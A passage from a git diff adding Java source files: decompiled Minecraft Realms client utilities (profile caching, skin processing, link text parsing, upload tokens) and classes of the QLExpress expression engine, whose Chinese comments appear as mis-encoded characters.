+ field_225209_a.put(p_225203_0_, new RealmsTextureManager.RealmsTexture(p_225203_1_, i)); + return i; + } + + public static class RealmsTexture + { + private final String field_225197_a; + private final int field_225198_b; + + public RealmsTexture(String p_i51693_1_, int p_i51693_2_) + { + this.field_225197_a = p_i51693_1_; + this.field_225198_b = p_i51693_2_; + } + } +} diff --git a/src/com/mojang/realmsclient/util/RealmsUtil.java b/src/com/mojang/realmsclient/util/RealmsUtil.java new file mode 100644 index 00000000..34bb9d13 --- /dev/null +++ b/src/com/mojang/realmsclient/util/RealmsUtil.java @@ -0,0 +1,94 @@ +package com.mojang.realmsclient.util; + +import com.google.common.cache.CacheBuilder; +import com.google.common.cache.CacheLoader; +import com.google.common.cache.LoadingCache; +import com.google.common.collect.Maps; +import com.mojang.authlib.GameProfile; +import com.mojang.authlib.minecraft.MinecraftProfileTexture; +import com.mojang.authlib.minecraft.MinecraftSessionService; +import com.mojang.authlib.minecraft.MinecraftProfileTexture.Type; +import com.mojang.authlib.yggdrasil.YggdrasilAuthenticationService; +import com.mojang.util.UUIDTypeAdapter; +import java.util.Date; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import net.minecraft.client.Minecraft; + +public class RealmsUtil +{ + private static final YggdrasilAuthenticationService field_225195_b = new YggdrasilAuthenticationService(Minecraft.getInstance().getProxy()); + private static final MinecraftSessionService field_225196_c = field_225195_b.createMinecraftSessionService(); + public static LoadingCache field_225194_a = CacheBuilder.newBuilder().expireAfterWrite(60L, TimeUnit.MINUTES).build(new CacheLoader() + { + public GameProfile load(String p_load_1_) throws Exception + { + GameProfile gameprofile = RealmsUtil.field_225196_c.fillProfileProperties(new GameProfile(UUIDTypeAdapter.fromString(p_load_1_), (String)null), false); + + if (gameprofile == null) + { + throw new Exception("Couldn't get profile"); + } + else + { + return gameprofile; + } + } + }); + + public static String func_225193_a(String p_225193_0_) throws Exception + { + GameProfile gameprofile = field_225194_a.get(p_225193_0_); + return gameprofile.getName(); + } + + public static Map func_225191_b(String p_225191_0_) + { + try + { + GameProfile gameprofile = field_225194_a.get(p_225191_0_); + return field_225196_c.getTextures(gameprofile, false); + } + catch (Exception exception) + { + return Maps.newHashMap(); + } + } + + public static String func_225192_a(long p_225192_0_) + { + if (p_225192_0_ < 0L) + { + return "right now"; + } + else + { + long i = p_225192_0_ / 1000L; + + if (i < 60L) + { + return (i == 1L ? "1 second" : i + " seconds") + " ago"; + } + else if (i < 3600L) + { + long l = i / 60L; + return (l == 1L ? "1 minute" : l + " minutes") + " ago"; + } + else if (i < 86400L) + { + long k = i / 3600L; + return (k == 1L ? "1 hour" : k + " hours") + " ago"; + } + else + { + long j = i / 86400L; + return (j == 1L ? "1 day" : j + " days") + " ago"; + } + } + } + + public static String func_238105_a_(Date p_238105_0_) + { + return func_225192_a(System.currentTimeMillis() - p_238105_0_.getTime()); + } +} diff --git a/src/com/mojang/realmsclient/util/SkinProcessor.java b/src/com/mojang/realmsclient/util/SkinProcessor.java new file mode 100644 index 00000000..0c97d137 --- /dev/null +++ b/src/com/mojang/realmsclient/util/SkinProcessor.java @@ -0,0 +1,99 @@ +package com.mojang.realmsclient.util; + +import java.awt.Color; +import java.awt.Graphics; +import java.awt.image.BufferedImage; +import java.awt.image.DataBufferInt; +import java.awt.image.ImageObserver; +import javax.annotation.Nullable; + +public class SkinProcessor +{ + private int[] field_225230_a; + private int field_225231_b; + private int field_225232_c; + + @Nullable + public BufferedImage func_225228_a(BufferedImage p_225228_1_) + { + if (p_225228_1_ == null) + { + return null; + } + else + { + this.field_225231_b = 64; + this.field_225232_c = 64; + BufferedImage bufferedimage = new BufferedImage(this.field_225231_b, this.field_225232_c, 2); + Graphics graphics = bufferedimage.getGraphics(); + graphics.drawImage(p_225228_1_, 0, 0, (ImageObserver)null); + boolean flag = p_225228_1_.getHeight() == 32; + + if (flag) + { + graphics.setColor(new Color(0, 0, 0, 0)); + graphics.fillRect(0, 32, 64, 32); + graphics.drawImage(bufferedimage, 24, 48, 20, 52, 4, 16, 8, 20, (ImageObserver)null); + graphics.drawImage(bufferedimage, 28, 48, 24, 52, 8, 16, 12, 20, (ImageObserver)null); + graphics.drawImage(bufferedimage, 20, 52, 16, 64, 8, 20, 12, 32, (ImageObserver)null); + graphics.drawImage(bufferedimage, 24, 52, 20, 64, 4, 20, 8, 32, (ImageObserver)null); + graphics.drawImage(bufferedimage, 28, 52, 24, 64, 0, 20, 4, 32, (ImageObserver)null); + graphics.drawImage(bufferedimage, 32, 52, 28, 64, 12, 20, 16, 32, (ImageObserver)null); + graphics.drawImage(bufferedimage, 40, 48, 36, 52, 44, 16, 48, 20, (ImageObserver)null); + graphics.drawImage(bufferedimage, 44, 48, 40, 52, 48, 16, 52, 20, (ImageObserver)null); + graphics.drawImage(bufferedimage, 36, 52, 32, 64, 48, 20, 52, 32, (ImageObserver)null); + graphics.drawImage(bufferedimage, 40, 52, 36, 64, 44, 20, 48, 32, (ImageObserver)null); + graphics.drawImage(bufferedimage, 44, 52, 40, 64, 40, 20, 44, 32, (ImageObserver)null); + graphics.drawImage(bufferedimage, 48, 52, 44, 64, 52, 20, 56, 32, (ImageObserver)null); + } + + graphics.dispose(); + this.field_225230_a = ((DataBufferInt)bufferedimage.getRaster().getDataBuffer()).getData(); + this.func_225229_b(0, 0, 32, 16); + + if (flag) + { + this.func_225227_a(32, 0, 64, 32); + } + + this.func_225229_b(0, 16, 64, 32); + this.func_225229_b(16, 48, 48, 64); + return bufferedimage; + } + } + + private void func_225227_a(int p_225227_1_, int p_225227_2_, int p_225227_3_, int p_225227_4_) + { + for (int i = p_225227_1_; i < p_225227_3_; ++i) + { + for (int j = p_225227_2_; j < p_225227_4_; ++j) + { + int k = this.field_225230_a[i + j * this.field_225231_b]; + + if ((k >> 24 & 255) < 128) + { + return; + } + } + } + + for (int l = p_225227_1_; l < p_225227_3_; ++l) + { + for (int i1 = p_225227_2_; i1 < p_225227_4_; ++i1) + { + this.field_225230_a[l + i1 * this.field_225231_b] &= 16777215; + } + } + } + + private void func_225229_b(int p_225229_1_, int p_225229_2_, int p_225229_3_, int p_225229_4_) + { + for (int i = p_225229_1_; i < p_225229_3_; ++i) + { + for (int j = p_225229_2_; j < p_225229_4_; ++j) + { + this.field_225230_a[i + j * this.field_225231_b] |= -16777216; + } + } + } +} diff --git a/src/com/mojang/realmsclient/util/TextRenderingUtils.java b/src/com/mojang/realmsclient/util/TextRenderingUtils.java new file mode 100644 index 00000000..4ab1eb09 --- /dev/null +++ b/src/com/mojang/realmsclient/util/TextRenderingUtils.java @@ -0,0 +1,203 @@ +package com.mojang.realmsclient.util; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.collect.Lists; +import java.util.Arrays; +import java.util.List; +import java.util.Objects; + +public class TextRenderingUtils +{ + @VisibleForTesting + protected static List func_225223_a(String p_225223_0_) + { + return Arrays.asList(p_225223_0_.split("\\n")); + } + + public static List func_225224_a(String p_225224_0_, TextRenderingUtils.LineSegment... p_225224_1_) + { + return func_225225_a(p_225224_0_, Arrays.asList(p_225224_1_)); + } + + private static List func_225225_a(String p_225225_0_, List p_225225_1_) + { + List list = func_225223_a(p_225225_0_); + return func_225222_a(list, p_225225_1_); + } + + private static List func_225222_a(List p_225222_0_, List p_225222_1_) + { + int i = 0; + List list = Lists.newArrayList(); + + for (String s : p_225222_0_) + { + List list1 = Lists.newArrayList(); + + for (String s1 : func_225226_a(s, "%link")) + { + if ("%link".equals(s1)) + { + list1.add(p_225222_1_.get(i++)); + } + else + { + list1.add(TextRenderingUtils.LineSegment.func_225218_a(s1)); + } + } + + list.add(new TextRenderingUtils.Line(list1)); + } + + return list; + } + + public static List func_225226_a(String p_225226_0_, String p_225226_1_) + { + if (p_225226_1_.isEmpty()) + { + throw new IllegalArgumentException("Delimiter cannot be the empty string"); + } + else + { + List list = Lists.newArrayList(); + int i; + int j; + + for (i = 0; (j = p_225226_0_.indexOf(p_225226_1_, i)) != -1; i = j + p_225226_1_.length()) + { + if (j > i) + { + list.add(p_225226_0_.substring(i, j)); + } + + list.add(p_225226_1_); + } + + if (i < p_225226_0_.length()) + { + list.add(p_225226_0_.substring(i)); + } + + return list; + } + } + + public static class Line + { + public final List field_225213_a; + + Line(List p_i51644_1_) + { + this.field_225213_a = p_i51644_1_; + } + + public String toString() + { + return "Line{segments=" + this.field_225213_a + '}'; + } + + public boolean equals(Object p_equals_1_) + { + if (this == p_equals_1_) + { + return true; + } + else if (p_equals_1_ != null && this.getClass() == p_equals_1_.getClass()) + { + TextRenderingUtils.Line textrenderingutils$line = (TextRenderingUtils.Line)p_equals_1_; + return Objects.equals(this.field_225213_a, textrenderingutils$line.field_225213_a); + } + else + { + return false; + } + } + + public int hashCode() + { + return Objects.hash(this.field_225213_a); + } + } + + public static class LineSegment + { + private final String field_225219_a; + private final String field_225220_b; + private final String field_225221_c; + + private LineSegment(String p_i51642_1_) + { + this.field_225219_a = p_i51642_1_; + this.field_225220_b = null; + this.field_225221_c = null; + } + + private LineSegment(String p_i51643_1_, String p_i51643_2_, String p_i51643_3_) + { + this.field_225219_a = p_i51643_1_; + this.field_225220_b = p_i51643_2_; + this.field_225221_c = p_i51643_3_; + } + + public boolean equals(Object p_equals_1_) + { + if (this == p_equals_1_) + { + return true; + } + else if (p_equals_1_ != null && this.getClass() == p_equals_1_.getClass()) + { + TextRenderingUtils.LineSegment textrenderingutils$linesegment = (TextRenderingUtils.LineSegment)p_equals_1_; + return Objects.equals(this.field_225219_a, textrenderingutils$linesegment.field_225219_a) && Objects.equals(this.field_225220_b, textrenderingutils$linesegment.field_225220_b) && Objects.equals(this.field_225221_c, textrenderingutils$linesegment.field_225221_c); + } + else + { + return false; + } + } + + public int hashCode() + { + return Objects.hash(this.field_225219_a, this.field_225220_b, this.field_225221_c); + } + + public String toString() + { + return "Segment{fullText='" + this.field_225219_a + '\'' + ", linkTitle='" + this.field_225220_b + '\'' + ", linkUrl='" + this.field_225221_c + '\'' + '}'; + } + + public String func_225215_a() + { + return this.func_225217_b() ? this.field_225220_b : this.field_225219_a; + } + + public boolean func_225217_b() + { + return this.field_225220_b != null; + } + + public String func_225216_c() + { + if (!this.func_225217_b()) + { + throw new IllegalStateException("Not a link: " + this); + } + else + { + return this.field_225221_c; + } + } + + public static TextRenderingUtils.LineSegment func_225214_a(String p_225214_0_, String p_225214_1_) + { + return new TextRenderingUtils.LineSegment((String)null, p_225214_0_, p_225214_1_); + } + + @VisibleForTesting + protected static TextRenderingUtils.LineSegment func_225218_a(String p_225218_0_) + { + return new TextRenderingUtils.LineSegment(p_225218_0_); + } + } +} diff --git a/src/com/mojang/realmsclient/util/UploadTokenCache.java b/src/com/mojang/realmsclient/util/UploadTokenCache.java new file mode 100644 index 00000000..4428390c --- /dev/null +++ b/src/com/mojang/realmsclient/util/UploadTokenCache.java @@ -0,0 +1,24 @@ +package com.mojang.realmsclient.util; + +import it.unimi.dsi.fastutil.longs.Long2ObjectMap; +import it.unimi.dsi.fastutil.longs.Long2ObjectOpenHashMap; + +public class UploadTokenCache +{ + private static final Long2ObjectMap field_225236_a = new Long2ObjectOpenHashMap<>(); + + public static String func_225235_a(long p_225235_0_) + { + return field_225236_a.get(p_225235_0_); + } + + public static void func_225233_b(long p_225233_0_) + { + field_225236_a.remove(p_225233_0_); + } + + public static void func_225234_a(long p_225234_0_, String p_225234_2_) + { + field_225236_a.put(p_225234_0_, p_225234_2_); + } +} diff --git a/src/com/mojang/realmsclient/util/package-info.java b/src/com/mojang/realmsclient/util/package-info.java new file mode 100644 index 00000000..7cde040e --- /dev/null +++ b/src/com/mojang/realmsclient/util/package-info.java @@ -0,0 +1,6 @@ +@ParametersAreNonnullByDefault +@MethodsReturnNonnullByDefault +package com.mojang.realmsclient.util; + +import mcp.MethodsReturnNonnullByDefault; +import javax.annotation.ParametersAreNonnullByDefault; \ No newline at end of file diff --git a/src/com/ql/util/express/ArraySwap.java b/src/com/ql/util/express/ArraySwap.java new file mode 100644 index 00000000..47f196d5 --- /dev/null +++ b/src/com/ql/util/express/ArraySwap.java @@ -0,0 +1,17 @@ +package com.ql.util.express; + +public final class ArraySwap { + private OperateData[] operateDataArray; + private int start; + public int length; + + public void swap(OperateData[] operateDataArray, int start, int length) { + this.operateDataArray = operateDataArray; + this.start = start; + this.length = length; + } + + public OperateData get(int i) { + return this.operateDataArray[i + start]; + } +} diff --git a/src/com/ql/util/express/CacheObject.java b/src/com/ql/util/express/CacheObject.java new file mode 100644 index 00000000..2ca77e00 --- /dev/null +++ b/src/com/ql/util/express/CacheObject.java @@ -0,0 +1,38 @@ +package com.ql.util.express; + +/** + * 简å•çš„缓存对象 + * + * @author tianqiao + */ +public class CacheObject { + private String expressName; + + private String text; + + private InstructionSet instructionSet; + + public String getExpressName() { + return expressName; + } + + public void setExpressName(String name) { + this.expressName = name; + } + + public String getText() { + return text; + } + + public void setText(String text) { + this.text = text; + } + + public InstructionSet getInstructionSet() { + return instructionSet; + } + + public void setInstructionSet(InstructionSet instructionSet) { + this.instructionSet = instructionSet; + } +} diff --git a/src/com/ql/util/express/CallResult.java b/src/com/ql/util/express/CallResult.java new file mode 100644 index 00000000..981d40bd --- /dev/null +++ b/src/com/ql/util/express/CallResult.java @@ -0,0 +1,29 @@ +package com.ql.util.express; + +public class CallResult { + private Object returnValue; + private boolean isExit; + + public CallResult(Object returnValue, boolean isExit) { + this.initial(returnValue, isExit); + } + + public void initial(Object returnValue, boolean isExit) { + this.returnValue = returnValue; + this.isExit = isExit; + } + + public void clear() { + this.returnValue = null; + this.isExit = false; + } + + public Object getReturnValue() { + return returnValue; + } + + public boolean isExit() { + return isExit; + } +} + diff --git a/src/com/ql/util/express/DefaultContext.java b/src/com/ql/util/express/DefaultContext.java new file mode 100644 index 00000000..038af578 --- /dev/null +++ b/src/com/ql/util/express/DefaultContext.java @@ -0,0 +1,7 @@ +package com.ql.util.express; + +import java.util.HashMap; + +@SuppressWarnings("serial") +public class DefaultContext extends HashMap implements IExpressContext { +} diff --git a/src/com/ql/util/express/DefaultExpressResourceLoader.java b/src/com/ql/util/express/DefaultExpressResourceLoader.java new file mode 100644 index 00000000..92623402 --- /dev/null +++ b/src/com/ql/util/express/DefaultExpressResourceLoader.java @@ -0,0 +1,27 @@ +package com.ql.util.express; + +import java.io.BufferedReader; +import java.io.InputStream; +import java.io.InputStreamReader; + +import com.ql.util.express.exception.QLException; + +public class DefaultExpressResourceLoader implements IExpressResourceLoader { + @Override + public String loadExpress(String expressName) throws Exception { + expressName = expressName.replace('.', '/') + ".ql"; + InputStream inputStream = Thread.currentThread().getContextClassLoader().getResourceAsStream(expressName); + if (inputStream == null) { + throw new QLException("ä¸èƒ½æ‰¾åˆ°è¡¨è¾¾å¼æ–‡ä»¶ï¼š" + expressName); + } + BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); + StringBuilder stringBuilder = new StringBuilder(); + String tmpStr; + while ((tmpStr = bufferedReader.readLine()) != null) { + stringBuilder.append(tmpStr).append("\n"); + } + bufferedReader.close(); + inputStream.close(); + return stringBuilder.toString(); + } +} diff --git a/src/com/ql/util/express/DynamicParamsUtil.java b/src/com/ql/util/express/DynamicParamsUtil.java new file mode 100644 index 00000000..4c43a618 --- /dev/null +++ b/src/com/ql/util/express/DynamicParamsUtil.java @@ -0,0 +1,76 @@ +package com.ql.util.express; + +import java.lang.reflect.Array; + +import com.ql.util.express.exception.QLException; + +/** + * Created by tianqiao on 16/9/12. + */ +public class DynamicParamsUtil { + public static boolean supportDynamicParams = false; + + private DynamicParamsUtil() { + throw new IllegalStateException("Utility class"); + } + + public static Object[] transferDynamicParams(InstructionSetContext context, ArraySwap list, + Class[] declaredParamsClasses, boolean maybeDynamicParams) throws Exception { + + Object[] params; + // å‚数定义ä¸ç¬¦åˆåŠ¨æ€å‚æ•°å½¢å¼ || 用户自定义ä¸æ”¯æŒ || 用户传入的å‚æ•°ä¸ç¬¦åˆ + if (!maybeDynamicParams || !supportDynamicParams || !maybeDynamicParams(context, list, declaredParamsClasses)) { + if (declaredParamsClasses.length != list.length) { + throw new QLException("定义的å‚数长度与è¿è¡ŒæœŸä¼ å…¥çš„å‚数长度ä¸ä¸€è‡´"); + } + params = new Object[list.length]; + for (int i = 0; i < list.length; i++) { + params[i] = list.get(i).getObject(context); + } + return params; + } + + //支æŒä¸å®šå‚数的使用 function(arg1,arg2,arg3...) + //list -> parameters[] + // arg1,arg2 -> arg1,arg2,[] + // arg1,arg2,arg3,arg4,arg5 -> arg1,arg2,[arg3,arg4,arg5] + int paramLength = declaredParamsClasses.length; + int beforeCount = paramLength - 1; + int paramsCount = list.length - beforeCount; + + if (beforeCount >= 0 && declaredParamsClasses[beforeCount].isArray() && paramsCount >= 0) { + Class componentType = declaredParamsClasses[beforeCount].getComponentType(); + params = new Object[beforeCount + 1]; + Object[] lastParameters = (Object[])Array.newInstance(componentType, paramsCount); + params[beforeCount] = lastParameters; + for (int i = 0; i < list.length; i++) { + if (i < beforeCount) { + params[i] = list.get(i).getObject(context); + } else { + lastParameters[i - beforeCount] = list.get(i).getObject(context); + } + } + } else { + throw new QLException("定义的å‚数长度与è¿è¡ŒæœŸä¼ å…¥çš„å‚数长度ä¸ä¸€è‡´"); + } + return params; + } + + public static boolean maybeDynamicParams(Class[] declaredParamsClasses) { + int length = declaredParamsClasses.length; + return length > 0 && declaredParamsClasses[length - 1].isArray(); + } + + private static boolean maybeDynamicParams(InstructionSetContext context, ArraySwap list, + Class[] declaredParamsClasses) throws Exception { + + //长度ä¸ä¸€è‡´,有å¯èƒ½ + if (declaredParamsClasses.length != list.length) { + return true; + } + //长度一致的ä¸å®šå‚æ•°:ä¸å®šå‚数的数组,åªè¾“入了一个å‚数并且为array,有å¯èƒ½ + int length = list.length; + Object lastParam = list.get(length - 1).getObject(context); + return lastParam != null && !lastParam.getClass().isArray(); + } +} diff --git a/src/com/ql/util/express/ExportItem.java b/src/com/ql/util/express/ExportItem.java new file mode 100644 index 00000000..a79d06dc --- /dev/null +++ b/src/com/ql/util/express/ExportItem.java @@ -0,0 +1,68 @@ +package com.ql.util.express; + +/** + * 输出给其它指令共享使用的对象 + * + * @author xuannan + */ +public class ExportItem { + public static final String TYPE_ALIAS = "alias"; + public static final String TYPE_DEF = "def"; + public static final String TYPE_FUNCTION = "function"; + public static final String TYPE_MACRO = "macro"; + private String globeName; + String name; + + /** + * def, alias + */ + private String type; + + /** + * ç±»å或者别å + */ + private String desc; + + public ExportItem(String name, String type, String desc) { + this.globeName = name; + this.name = name; + this.type = type; + this.desc = desc; + } + + public ExportItem(String globeName, String name, String type, String desc) { + this.globeName = globeName; + this.name = name; + this.type = type; + this.desc = desc; + } + + @Override + public String toString() { + return this.globeName + "[" + this.type + ":" + this.name + " " + this.desc + "]"; + } + + public String getGlobeName() { + return globeName; + } + + public void setGlobeName(String globeName) { + this.globeName = globeName; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getType() { + return type; + } + + public void setType(String type) { + this.type = type; + } +} diff --git a/src/com/ql/util/express/ExpressLoader.java b/src/com/ql/util/express/ExpressLoader.java new file mode 100644 index 00000000..3153a81a --- /dev/null +++ b/src/com/ql/util/express/ExpressLoader.java @@ -0,0 +1,81 @@ +package com.ql.util.express; + +import java.util.Map; +import java.util.TreeMap; +import java.util.concurrent.ConcurrentHashMap; + +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.FunctionInstructionSet; + +/** + * 表达å¼è£…载器 + * + * @author xuannan + */ +public class ExpressLoader { + private final ConcurrentHashMap expressInstructionSetCache = new ConcurrentHashMap<>(); + final ExpressRunner expressRunner; + + public ExpressLoader(ExpressRunner expressRunner) { + this.expressRunner = expressRunner; + } + + public InstructionSet loadExpress(String expressName) throws Exception { + return parseInstructionSet(expressName, this.expressRunner.getExpressResourceLoader().loadExpress(expressName)); + } + + public void addInstructionSet(String expressName, InstructionSet set) throws Exception { + synchronized (expressInstructionSetCache) { + if (expressInstructionSetCache.containsKey(expressName)) { + throw new QLException("表达å¼å®šä¹‰é‡å¤ï¼š" + expressName); + } + expressInstructionSetCache.put(expressName, set); + } + } + + public InstructionSet parseInstructionSet(String expressName, String expressString) throws Exception { + InstructionSet parseResult; + if (expressInstructionSetCache.containsKey(expressName)) { + throw new QLException("表达å¼å®šä¹‰é‡å¤ï¼š" + expressName); + } + synchronized (expressInstructionSetCache) { + parseResult = this.expressRunner.parseInstructionSet(expressString); + parseResult.setName(expressName); + parseResult.setGlobeName(expressName); + // 需è¦å°†å‡½æ•°å’Œå®å®šä¹‰éƒ½æå–å‡ºæ¥ + for (FunctionInstructionSet item : parseResult + .getFunctionInstructionSets()) { + this.addInstructionSet(item.name, item.instructionSet); + item.instructionSet.setName(item.name); + item.instructionSet.setGlobeName(expressName + "." + item.name); + } + if (parseResult.hasMain()) { + this.addInstructionSet(expressName, parseResult); + } + } + return parseResult; + } + + public void clear() { + this.expressInstructionSetCache.clear(); + } + + public InstructionSet getInstructionSet(String expressName) { + return expressInstructionSetCache.get(expressName); + } + + public ExportItem[] getExportInfo() { + Map result = new TreeMap<>(); + for (InstructionSet instructionSet : expressInstructionSetCache.values()) { + String globeName = instructionSet.getGlobeName(); + for (ExportItem exportItem : instructionSet.getExportDef()) { + exportItem.setGlobeName(globeName + "." + exportItem.getName()); + result.put(exportItem.getGlobeName(), exportItem); + } + String name = instructionSet.getName(); + String type = instructionSet.getType(); + result.put(globeName, new ExportItem(globeName, name, type, instructionSet.toString())); + } + return result.values().toArray(new ExportItem[0]); + } +} diff --git a/src/com/ql/util/express/ExpressRemoteCacheRunner.java b/src/com/ql/util/express/ExpressRemoteCacheRunner.java new file mode 100644 index 00000000..4212569f --- /dev/null +++ b/src/com/ql/util/express/ExpressRemoteCacheRunner.java @@ -0,0 +1,61 @@ +package com.ql.util.express; + +import java.util.List; + +/** + * 远程缓存对象 + * + * @author tianqiao + */ +public abstract class ExpressRemoteCacheRunner { + public void loadCache(String expressName, String text) { + InstructionSet instructionSet; + try { + instructionSet = getExpressRunner().parseInstructionSet(text); + CacheObject cache = new CacheObject(); + cache.setExpressName(expressName); + cache.setText(text); + cache.setInstructionSet(instructionSet); + this.putCache(expressName, cache); + } catch (Exception e) { + throw new RuntimeException("解æžæŒ‡ä»¤å¹¶ç¼“存过程出现错误.", e); + } + } + + public Object execute(String name, IExpressContext context, List errorList, boolean isTrace, + boolean isCatchException) { + try { + CacheObject cache = (CacheObject)this.getCache(name); + if (cache == null) { + throw new RuntimeException("未获å–到缓存对象."); + } + ExpressRunner expressRunner = getExpressRunner(); + return expressRunner.execute(cache.getInstructionSet(), context, errorList, isTrace, isCatchException); + } catch (Exception e) { + throw new RuntimeException("获å–缓存信æ¯ï¼Œå¹¶ä¸”执行指令集出现错误.", e); + } + } + + /** + * 获å–执行器ExpressRunner + * + * @return + */ + public abstract ExpressRunner getExpressRunner(); + + /** + * 获å–缓存对象 + * + * @param key + * @return + */ + public abstract Object getCache(String key); + + /** + * 放置缓存的对象 + * + * @param key + * @param object + */ + public abstract void putCache(String key, Object object); +} diff --git a/src/com/ql/util/express/ExpressRunner.java b/src/com/ql/util/express/ExpressRunner.java new file mode 100644 index 00000000..4983384b --- /dev/null +++ b/src/com/ql/util/express/ExpressRunner.java @@ -0,0 +1,823 @@ +package com.ql.util.express; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.Stack; +import java.util.concurrent.*; + +import com.ql.util.express.config.QLExpressTimer; +import com.ql.util.express.exception.QLCompileException; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.ForRelBreakContinue; +import com.ql.util.express.instruction.IOperateDataCache; +import com.ql.util.express.instruction.InstructionFactory; +import com.ql.util.express.instruction.OperateDataCacheImpl; +import com.ql.util.express.instruction.op.OperatorBase; +import com.ql.util.express.instruction.op.OperatorFactory; +import com.ql.util.express.instruction.op.OperatorInstanceOf; +import com.ql.util.express.instruction.op.OperatorMinMax; +import com.ql.util.express.instruction.op.OperatorPrint; +import com.ql.util.express.instruction.op.OperatorPrintln; +import com.ql.util.express.instruction.op.OperatorRound; +import com.ql.util.express.instruction.op.OperatorSelfDefineClassFunction; +import com.ql.util.express.instruction.op.OperatorSelfDefineServiceFunction; +import com.ql.util.express.parse.AppendingClassFieldManager; +import com.ql.util.express.parse.AppendingClassMethodManager; +import com.ql.util.express.parse.ExpressNode; +import com.ql.util.express.parse.ExpressPackage; +import com.ql.util.express.parse.ExpressParse; +import com.ql.util.express.parse.NodeType; +import com.ql.util.express.parse.NodeTypeManager; +import com.ql.util.express.parse.Word; + +/** + * 语法分æžå’Œè®¡ç®—çš„å…¥å£ç±» + * + * @author xuannan + */ +public class ExpressRunner { + + private static final String GLOBAL_DEFINE_NAME = "全局定义"; + + /** + * 是å¦è¾“出所有的跟踪信æ¯ï¼ŒåŒæ—¶è¿˜éœ€è¦log级别是DEBUG级别 + */ + private final boolean isTrace; + + /** + * 是å¦ä½¿ç”¨é€»è¾‘短路特性增强质é‡çš„效率 + */ + private boolean isShortCircuit = true; + + /** + * 是å¦éœ€è¦é«˜ç²¾åº¦è®¡ç®— + */ + private final boolean isPrecise; + + /** + * 一段文本对应的指令集的缓存 + * default: ConcurrentHashMap with no eviction policy + */ + private final Map> expressInstructionSetCache; + + private final ExpressLoader loader; + + private final IExpressResourceLoader expressResourceLoader; + + /** + * 语法定义的管ç†å™¨ + */ + private final NodeTypeManager manager; + + /** + * æ“作符的管ç†å™¨ + */ + private final OperatorFactory operatorManager; + + /** + * 语法分æžå™¨ + */ + private final ExpressParse parse; + + /** + * 缺çœçš„Class查找的包管ç†å™¨ + */ + final ExpressPackage rootExpressPackage = new ExpressPackage(null); + + /** + * 线程é‡å…¥æ¬¡æ•° + */ + private final ThreadLocal threadReentrantCount = ThreadLocal.withInitial(() -> 0); + + public AppendingClassMethodManager getAppendingClassMethodManager() { + return appendingClassMethodManager; + } + + private AppendingClassMethodManager appendingClassMethodManager; + + public AppendingClassFieldManager getAppendingClassFieldManager() { + return appendingClassFieldManager; + } + + private AppendingClassFieldManager appendingClassFieldManager; + + private final ThreadLocal operateDataCacheThreadLocal = ThreadLocal.withInitial( + () -> new OperateDataCacheImpl(30)); + + public IOperateDataCache getOperateDataCache() { + return this.operateDataCacheThreadLocal.get(); + } + + public ExpressRunner() { + this(false, false); + } + + /** + * @param isPrecise 是å¦éœ€è¦é«˜ç²¾åº¦è®¡ç®—æ”¯æŒ + * @param isTrace 是å¦è·Ÿè¸ªæ‰§è¡ŒæŒ‡ä»¤çš„过程 + */ + public ExpressRunner(boolean isPrecise, boolean isTrace) { + this(isPrecise, isTrace, new DefaultExpressResourceLoader(), null); + } + + /** + * @param isPrecise + * @param isTrace + * @param cacheMap user can define safe and efficient cache or use default concurrentMap + */ + public ExpressRunner(boolean isPrecise, boolean isTrace, + Map> cacheMap) { + this(isPrecise, isTrace, new DefaultExpressResourceLoader(), null, cacheMap); + } + + public ExpressRunner(boolean isPrecise, boolean isStrace, NodeTypeManager nodeTypeManager) { + this(isPrecise, isStrace, new DefaultExpressResourceLoader(), nodeTypeManager); + } + + /** + * @param isPrecise 是å¦éœ€è¦é«˜ç²¾åº¦è®¡ç®—æ”¯æŒ + * @param isTrace 是å¦è·Ÿè¸ªæ‰§è¡ŒæŒ‡ä»¤çš„过程 + * @param iExpressResourceLoader 表达å¼çš„资æºè£…载器 + */ + public ExpressRunner(boolean isPrecise, boolean isTrace, IExpressResourceLoader iExpressResourceLoader, + NodeTypeManager nodeTypeManager) { + this(isPrecise, isTrace, iExpressResourceLoader, + nodeTypeManager, null); + } + + /** + * @param isPrecise 是å¦éœ€è¦é«˜ç²¾åº¦è®¡ç®—æ”¯æŒ + * @param isTrace 是å¦è·Ÿè¸ªæ‰§è¡ŒæŒ‡ä»¤çš„过程 + * @param iExpressResourceLoader 表达å¼çš„资æºè£…载器 + * @param cacheMap 指令集缓存, å¿…é¡»æ˜¯çº¿ç¨‹å®‰å…¨çš„é›†åˆ + */ + public ExpressRunner(boolean isPrecise, boolean isTrace, IExpressResourceLoader iExpressResourceLoader, + NodeTypeManager nodeTypeManager, Map> cacheMap) { + this.isTrace = isTrace; + this.isPrecise = isPrecise; + this.expressResourceLoader = iExpressResourceLoader; + if (nodeTypeManager == null) { + manager = new NodeTypeManager(); + } else { + manager = nodeTypeManager; + } + + if (Objects.isNull(cacheMap)) { + expressInstructionSetCache = new ConcurrentHashMap<>(); + } else { + expressInstructionSetCache = cacheMap; + } + this.operatorManager = new OperatorFactory(this.isPrecise); + this.loader = new ExpressLoader(this); + this.parse = new ExpressParse(manager, this.expressResourceLoader, this.isPrecise); + rootExpressPackage.addPackage("java.lang"); + rootExpressPackage.addPackage("java.util"); + + // 默认引入 java8 stream api, jdk 版本低于 8 也ä¸ä¼šæœ‰å½±å“, 因为是è¿è¡Œæ—¶åŠ¨æ€å–çš„ + rootExpressPackage.addPackage("java.util.stream"); + this.addSystemFunctions(); + this.addSystemOperators(); + } + + private void addSystemOperators() { + try { + this.addOperator("instanceof", new OperatorInstanceOf("instanceof")); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + public void addSystemFunctions() { + this.addFunction("max", new OperatorMinMax("max")); + this.addFunction("min", new OperatorMinMax("min")); + this.addFunction("round", new OperatorRound("round")); + this.addFunction("print", new OperatorPrint("print")); + this.addFunction("println", new OperatorPrintln("println")); + } + + /** + * 获å–语法定义的管ç†å™¨ + * + * @return + */ + public NodeTypeManager getNodeTypeManager() { + return this.manager; + } + + /** + * 获å–æ“作符å·ç®¡ç†å™¨ + * + * @return + */ + public OperatorFactory getOperatorFactory() { + return this.operatorManager; + } + + 